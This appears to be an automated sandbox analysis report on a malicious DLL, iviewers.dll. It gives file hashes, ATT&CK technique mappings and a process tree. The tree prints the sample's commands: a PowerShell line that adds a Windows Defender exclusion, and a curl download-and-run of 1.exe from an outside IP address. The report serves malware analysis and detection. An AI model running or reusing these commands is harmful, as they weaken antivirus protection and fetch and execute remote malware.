6db74250d83e75eda76a61af409c1987b0cfa6568feb4ff6d4dd1309053b1610

Analysis

max time kernel
88s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
16/03/2025, 10:36

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General

Target

iviewers.dll
Size

83KB
MD5

5649b671dabb89dd275575188cd9bf51
SHA1

25f3dbb4fe5c13ea06a43efd8abae7bfd6c0e05c
SHA256

c5c48516e26cd796404e77b9275a976ec4b4f75a70e04ff7781203ee5da59cc1
SHA512

74e5f13719eba0e5fa2750225bcced7a40bb48a02d6df693cd70141219707fb5392851128bff7d0fbb9e471e414e9bd0a34deda2e9de4e9fd456d390374790fc
SSDEEP

1536:ybo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQ/LHWeDCf7/P/:ys5tXVQLRC7iv4qTvcGQS1VQ/jWeDCfb

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 2760	2668	regsvr32.exe	30
PID 2668 wrote to memory of 2760	2668	regsvr32.exe	30
PID 2668 wrote to memory of 2760	2668	regsvr32.exe	30
PID 2668 wrote to memory of 2760	2668	regsvr32.exe	30
PID 2668 wrote to memory of 2760	2668	regsvr32.exe	30
PID 2668 wrote to memory of 2760	2668	regsvr32.exe	30
PID 2668 wrote to memory of 2760	2668	regsvr32.exe	30
PID 2760 wrote to memory of 2764	2760	regsvr32.exe	31
PID 2760 wrote to memory of 2764	2760	regsvr32.exe	31
PID 2760 wrote to memory of 2764	2760	regsvr32.exe	31
PID 2760 wrote to memory of 2764	2760	regsvr32.exe	31
PID 2764 wrote to memory of 2684	2764	cmd.exe	33
PID 2764 wrote to memory of 2684	2764	cmd.exe	33
PID 2764 wrote to memory of 2684	2764	cmd.exe	33
PID 2764 wrote to memory of 2684	2764	cmd.exe	33
PID 2760 wrote to memory of 2868	2760	regsvr32.exe	34
PID 2760 wrote to memory of 2868	2760	regsvr32.exe	34
PID 2760 wrote to memory of 2868	2760	regsvr32.exe	34
PID 2760 wrote to memory of 2868	2760	regsvr32.exe	34

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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